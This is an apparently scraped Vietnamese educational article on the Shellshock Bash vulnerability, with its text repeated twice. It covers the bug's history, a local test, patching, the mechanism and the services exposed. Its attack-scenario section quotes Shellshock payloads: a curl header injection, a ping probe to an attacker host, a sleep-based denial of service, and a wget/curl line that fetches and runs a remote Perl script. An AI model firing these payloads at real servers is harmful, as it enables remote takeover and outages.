Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 9

I. Shellshock là gì?

Shellshock, còn được gọi là Bashdoor, là một lỗ hổng bảo mật trong
Bash, được công bố rộng rãi vào ngày 25 tháng 9 năm 2014. Nhiều dịch
vụ mạng, như các máy chủ web, sử dụng Bash để thực thi lệnh khi cần
thiết, cho phép kẻ tấn công khai thác lỗ hổng bảo mật Shellshock ở những
phiên bản Bash lỗi để phục vụ những mục đích đen tối của chúng. Lỗ
hổng bảo mật này giúp kẻ tấn công chiếm quyền điểu khiển các máy nạn
nhân mà không cần phải qua bước xác thực.

II. Shellshock nguy hiểm tới mức nào?

Dưới đây là các báo cáo về tình trạng tấn công sử dụng lỗi Shellshock của
các tổ chức an ninh mạng.

Trong vòng một giờ kể từ khi lỗ hổng bảo mật Bash được thông báo, có
rất nhiều máy tính đã bị tấn công bằng lỗi Shellshock. Ngày 25 tháng 9
năm 2014, các máy tính ma (botnets) bị kiểm soát dựa trên lỗi Shellshock
được các attacker sử dụng để thực hiện các tấn công DDoS và dò tìm các
lỗ hổng bảo mật khác trên các máy nạn nhân. Kaspersky Labs báo cáo
rằng nhiều máy tính bị kiểm soát bởi tấn công Shellshock, được gọi là
“Thanks-Rob”, đã thực hiện tấn công DDoS tới 3 mục tiêu chưa được xác
định.

Vào ngày 26 tháng 9 năm 2014, một mạng máy tính ma có liên quan đến
Shellshock được gọi là “wopbot” đã được báo cáo, nó được sử dụng để
tấn công DDoS tới Akamai Technologies và thực hiện dò tìm các lỗ hổng
bảo mật nhằm vào bộ Quốc phòng Mỹ.

Ngày 26 tháng 9, công ty bảo mật Incapsula đưa ra báo cáo có 17.400 tấn
công vào hơn 1.800 trang web, khởi nguồn từ 400 địa chỉ IP, trong 24 giờ
trước đó; 55% tấn công đến từ Trung Quốc và Mỹ. Ngày 30 tháng 9,
công ty CloudFlare công bố rằng có khoảng 1,5 triệu tấn công và thăm dò
mỗi ngày liên quan đến lỗi Shellshock.

Ngày mùng 6 tháng 10, các máy chủ Yahoo được báo cáo là đã bị kiểm
soát bởi một tấn công liên quan đến lỗi Shellshock.

III. Máy tôi có bị dính lỗi Shellshock không?

Để kiểm tra máy bạn có bị lỗi Shellshock hay không thì bạn có thể sử
dụng đoạn mã như sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


Nếu kết quả trả về là:

vulnerable
this is a test
IV. Tôi phải làm gì để sửa lỗi Shellshock?

Để sửa lỗi Shellshock bạn chỉ cần update Bash lên phiên bản mới nhất.
Sau khi update thì bạn nên kiểm tra lại xem lỗi đã được sửa chưa theo
như cách làm ở trên để chắc chắn rằng phiên bản Bash không còn chứa
lỗi Shellshock nữa.

V. Tìm hiểu sâu về Shellshock

Phần này dành cho những người muốn tìm hiểu sâu về cơ chế hoạt động
của Shellshock và các kiểu tấn công sử dụng Shellshock.

1. Cơ chế hoạt động của Shellshock

Trên các hệ điều hành tựa Unix và một số hệ điều hành khác sử dụng
Bash để chạy các chương trình bằng dòng lệnh, mỗi chương trình khi
chạy sẽ có một danh sách các cặp name/value được gọi là các biến môi
trường. Khi một chương trình khởi chạy một chương trình khác nó sẽ
cung cấp một danh sách khởi tạo các biến môi trường cho chương trình
mới này. Mặt khác, Bash lưu giữ một danh sách các hàm chứa một tập
các lệnh mà sẽ được thực thi cùng với chương trình.

Vì Bash hoạt động như là một trình thông dịch lệnh và vừa được coi như
là một lệnh, nên có thể chạy Bash từ chính môi trường của nó. Khi điều
này xảy ra, thực thể ban đầu có thể export các biến môi trường và các
định nghĩa hàm thành các thực thể mới. Các định nghĩa hàm được export
bằng cách mã hóa chúng cùng với các biến môi trường có giá trị bắt đầu
bằng () theo sau là định nghĩa hàm.

Thực thể mới của Bash, khi chạy, sẽ tìm các biến môi trường có giá trị
theo định dạng này và chuyển chúng thành các hàm. Nó thực hiện việc
chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến môi trường
và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra tính
hợp lệ của một định nghĩa hàm do đó lỗ hổng bảo mật sẽ được tạo ra
theo cách này.

Từ đây ta có thể giải thích cách hoạt động cho đoạn mã sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


Nó tạo ra một biến môi trường bắt đầu với chuỗi () { :; }, tạo ra một định
nghĩa hàm rỗng; theo sau là lệnh sẽ được thực thi khi biến môi trường này
được export. Lệnh Bash được chạy sau đó sẽ thực hiện việc export biến
môi trường này và lệnh echo sẽ được thực thi cùng với nó.

2. Các cách tấn công vào một server chứa lỗi Shellshock

Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một
user bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện
một tấn công Shellshock được. Để thực hiện tấn công Shellshock bạn chỉ
cần sử dụng lệnh có dạng như sau:

$ curl -H "User-Agent: () { :; }; /bin/echo vulnerable"


http://example.com/
Tấn công trên sử dụng User-Agent header của request gửi đến web server
example.com để server đó thực hiện chạy lệnh $ echo vulnerable.
Tại sao có thể thực hiện được một tấn công đơn giản như thế? ngoài việc
tấn công vào web server ra còn có thể tấn công được vào các dịch vụ
mạng nào nữa? Dưới đây là giải thích cho cách hoạt động của tấn công
trên và nêu ra một số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock:
CGI-based web server

Khi một web server sử dụng CGI để xử lý một request, nó truyền các
thông tin có trong request tới chương trình xử lý sử dụng các biến môi
trường. Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên
chương trình gửi request đến web server. Nếu trình xử lý request là một
Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng
system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi
server và xử lý chúng. Kẻ tấn công sử dụng phương thức này để kích hoạt
tấn công Shellshock với một request đặc biệt tới server.

SSH server

OpenSSH có một tính năng là ForceCommand, thực hiện một lệnh nào
đó khi user đăng nhập vào, thay vì chạy shell để user tương tác với hệ
thống. Lệnh được thực hiện ngay cả khi user chỉ định rằng nên chạy một
lệnh khác; trong trường hợp đó, lệnh ban đầu được đưa vào biến môi
trường SSH_ORIGINAL_COMMAND. Khi chạy lệnh, Bash sẽ phân tích
biến môi trường SSH_ORIGINAL_COMMAND ngay khi khởi động, và
chạy các lệnh được nhúng vào trong đó. Kẻ tấn công sử dụng phương
thức này của SSH server để chiếm quyền điều khiên của máy nạn nhân có
chứa lỗi Shellshock.

DHCP
Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi
bảo mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng.
Một DHCP client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP
server, nhưng nó cũng có thể được cung cấp một chuỗi các tùy chọn
thêm. Một DHCP server có thể cung cấp, trong một trong những tùy
chọn, một chuỗi kí tự đặc biệt để khai thác lỗi bảo mật Shellshock.

Email system

Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể
truyền tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác
được lỗi bảo mật Shellshock.

3. Các kịch bản tấn công

Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác
định các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật
Shellshock hay không. Sau đây là một số tấn công sử dụng lỗi
Shellshock.

Thăm dò

Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng

() {:;}; /bin/ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-


machine.com
trong một request tới máy mục tiêu. Nếu máy mục tiêu dính lỗi bảo mật
Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã
bị kiểm soát bởi kẻ tấn công. Kẻ tấn công sau đó sẽ phân tích gói tin ping
request để xác định mục tiêu nào có lỗi Shellshock.

Từ chối dịch vụ

Tấn công này có thể sử dụng một đoạn mã như sau:

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20


để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các hệ
điều hành khác nhau), server sẽ đợi 20 giây sau mới phản hồi lại cho
client, việc này sẽ làm tiêu tốn tài nguyên của server do connection bị
chiếm giữ trong một thời gian dài, gây lãng phí bộ nhớ.

Chiếm quyền điều khiển


Mục tiêu của kẻ tấn công là chiếm quyền điều khiển trên máy nạn nhân
để thực hiện các mục đích khác nhau. Đoạn mã tấn công sẽ có dạng:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji


http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

để máy mục tiêu thực hiện download đoạn mã perl và thực thi đoạn mã
đó. Đoạn chương trình này cho phép kẻ tấn công thực hiện truy cập từ xa
tới máy nạn nhân.

I. Shellshock là gì?
Shellshock, còn được gọi là Bashdoor, là một lỗ hổng bảo mật trong
Bash, được công bố rộng rãi vào ngày 25 tháng 9 năm 2014. Nhiều dịch
vụ mạng, như các máy chủ web, sử dụng Bash để thực thi lệnh khi cần
thiết, cho phép kẻ tấn công khai thác lỗ hổng bảo mật Shellshock ở những
phiên bản Bash lỗi để phục vụ những mục đích đen tối của chúng. Lỗ
hổng bảo mật này giúp kẻ tấn công chiếm quyền điểu khiển các máy nạn
nhân mà không cần phải qua bước xác thực.

II. Shellshock nguy hiểm tới mức nào?


Dưới đây là các báo cáo về tình trạng tấn công sử dụng lỗi Shellshock của
các tổ chức an ninh mạng.

Trong vòng một giờ kể từ khi lỗ hổng bảo mật Bash được thông báo, có
rất nhiều máy tính đã bị tấn công bằng lỗi Shellshock. Ngày 25 tháng 9
năm 2014, các máy tính ma (botnets) bị kiểm soát dựa trên lỗi Shellshock
được các attacker sử dụng để thực hiện các tấn công DDoS và dò tìm các
lỗ hổng bảo mật khác trên các máy nạn nhân. Kaspersky Labs báo cáo
rằng nhiều máy tính bị kiểm soát bởi tấn công Shellshock, được gọi là
“Thanks-Rob”, đã thực hiện tấn công DDoS tới 3 mục tiêu chưa được xác
định.

Vào ngày 26 tháng 9 năm 2014, một mạng máy tính ma có liên quan đến
Shellshock được gọi là “wopbot” đã được báo cáo, nó được sử dụng để
tấn công DDoS tới Akamai Technologies và thực hiện dò tìm các lỗ hổng
bảo mật nhằm vào bộ Quốc phòng Mỹ.

Ngày 26 tháng 9, công ty bảo mật Incapsula đưa ra báo cáo có 17.400 tấn
công vào hơn 1.800 trang web, khởi nguồn từ 400 địa chỉ IP, trong 24 giờ
trước đó; 55% tấn công đến từ Trung Quốc và Mỹ. Ngày 30 tháng 9,
công ty CloudFlare công bố rằng có khoảng 1,5 triệu tấn công và thăm dò
mỗi ngày liên quan đến lỗi Shellshock.

Ngày mùng 6 tháng 10, các máy chủ Yahoo được báo cáo là đã bị kiểm
soát bởi một tấn công liên quan đến lỗi Shellshock.

III. Máy tôi có bị dính lỗi Shellshock không?


Để kiểm tra máy bạn có bị lỗi Shellshock hay không thì bạn có thể sử
dụng đoạn mã như sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


Nếu kết quả trả về là:

vulnerable
this is a test
IV. Tôi phải làm gì để sửa lỗi Shellshock?
Để sửa lỗi Shellshock bạn chỉ cần update Bash lên phiên bản mới nhất.
Sau khi update thì bạn nên kiểm tra lại xem lỗi đã được sửa chưa theo
như cách làm ở trên để chắc chắn rằng phiên bản Bash không còn chứa
lỗi Shellshock nữa.

V. Tìm hiểu sâu về Shellshock


Phần này dành cho những người muốn tìm hiểu sâu về cơ chế hoạt động
của Shellshock và các kiểu tấn công sử dụng Shellshock.

1. Cơ chế hoạt động của Shellshock


Trên các hệ điều hành tựa Unix và một số hệ điều hành khác sử dụng
Bash để chạy các chương trình bằng dòng lệnh, mỗi chương trình khi
chạy sẽ có một danh sách các cặp name/value được gọi là các biến môi
trường. Khi một chương trình khởi chạy một chương trình khác nó sẽ
cung cấp một danh sách khởi tạo các biến môi trường cho chương trình
mới này. Mặt khác, Bash lưu giữ một danh sách các hàm chứa một tập
các lệnh mà sẽ được thực thi cùng với chương trình.

Vì Bash hoạt động như là một trình thông dịch lệnh và vừa được coi như
là một lệnh, nên có thể chạy Bash từ chính môi trường của nó. Khi điều
này xảy ra, thực thể ban đầu có thể export các biến môi trường và các
định nghĩa hàm thành các thực thể mới. Các định nghĩa hàm được export
bằng cách mã hóa chúng cùng với các biến môi trường có giá trị bắt đầu
bằng () theo sau là định nghĩa hàm.
Thực thể mới của Bash, khi chạy, sẽ tìm các biến môi trường có giá trị
theo định dạng này và chuyển chúng thành các hàm. Nó thực hiện việc
chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến môi trường
và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra tính
hợp lệ của một định nghĩa hàm do đó lỗ hổng bảo mật sẽ được tạo ra theo
cách này.

Từ đây ta có thể giải thích cách hoạt động cho đoạn mã sau:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


Nó tạo ra một biến môi trường bắt đầu với chuỗi () { :; }, tạo ra một định
nghĩa hàm rỗng; theo sau là lệnh sẽ được thực thi khi biến môi trường này
được export. Lệnh Bash được chạy sau đó sẽ thực hiện việc export biến
môi trường này và lệnh echo sẽ được thực thi cùng với nó.

2. Các cách tấn công vào một server chứa lỗi Shellshock
Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một
user bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện
một tấn công Shellshock được. Để thực hiện tấn công Shellshock bạn chỉ
cần sử dụng lệnh có dạng như sau:

$ curl -H "User-Agent: () { :; }; /bin/echo vulnerable"


http://example.com/
Tấn công trên sử dụng User-Agent header của request gửi đến web server
example.com để server đó thực hiện chạy lệnh $ echo vulnerable.
Tại sao có thể thực hiện được một tấn công đơn giản như thế? ngoài việc
tấn công vào web server ra còn có thể tấn công được vào các dịch vụ
mạng nào nữa? Dưới đây là giải thích cho cách hoạt động của tấn công
trên và nêu ra một số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock:
CGI-based web server
Khi một web server sử dụng CGI để xử lý một request, nó truyền các
thông tin có trong request tới chương trình xử lý sử dụng các biến môi
trường. Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên
chương trình gửi request đến web server. Nếu trình xử lý request là một
Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng
system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi
server và xử lý chúng. Kẻ tấn công sử dụng phương thức này để kích hoạt
tấn công Shellshock với một request đặc biệt tới server.

SSH server
OpenSSH có một tính năng là ForceCommand, thực hiện một lệnh nào đó
khi user đăng nhập vào, thay vì chạy shell để user tương tác với hệ thống.
Lệnh được thực hiện ngay cả khi user chỉ định rằng nên chạy một lệnh
khác; trong trường hợp đó, lệnh ban đầu được đưa vào biến môi trường
SSH_ORIGINAL_COMMAND. Khi chạy lệnh, Bash sẽ phân tích biến
môi trường SSH_ORIGINAL_COMMAND ngay khi khởi động, và chạy
các lệnh được nhúng vào trong đó. Kẻ tấn công sử dụng phương thức này
của SSH server để chiếm quyền điều khiên của máy nạn nhân có chứa lỗi
Shellshock.

DHCP
Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi
bảo mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng.
Một DHCP client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP
server, nhưng nó cũng có thể được cung cấp một chuỗi các tùy chọn
thêm. Một DHCP server có thể cung cấp, trong một trong những tùy
chọn, một chuỗi kí tự đặc biệt để khai thác lỗi bảo mật Shellshock.

Email system
Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể
truyền tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác
được lỗi bảo mật Shellshock.

3. Các kịch bản tấn công


Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác
định các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật
Shellshock hay không. Sau đây là một số tấn công sử dụng lỗi
Shellshock.

Thăm dò
Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng

() {:;}; /bin/ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-


machine.com
trong một request tới máy mục tiêu. Nếu máy mục tiêu dính lỗi bảo mật
Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã
bị kiểm soát bởi kẻ tấn công. Kẻ tấn công sau đó sẽ phân tích gói tin ping
request để xác định mục tiêu nào có lỗi Shellshock.

Từ chối dịch vụ
Tấn công này có thể sử dụng một đoạn mã như sau:

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20


để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các hệ
điều hành khác nhau), server sẽ đợi 20 giây sau mới phản hồi lại cho
client, việc này sẽ làm tiêu tốn tài nguyên của server do connection bị
chiếm giữ trong một thời gian dài, gây lãng phí bộ nhớ.

Chiếm quyền điều khiển


Mục tiêu của kẻ tấn công là chiếm quyền điều khiển trên máy nạn nhân
để thực hiện các mục đích khác nhau. Đoạn mã tấn công sẽ có dạng:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji


http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

để máy mục tiêu thực hiện download đoạn mã perl và thực thi đoạn mã
đó. Đoạn chương trình này cho phép kẻ tấn công thực hiện truy cập từ xa
tới máy nạn nhân.

You might also like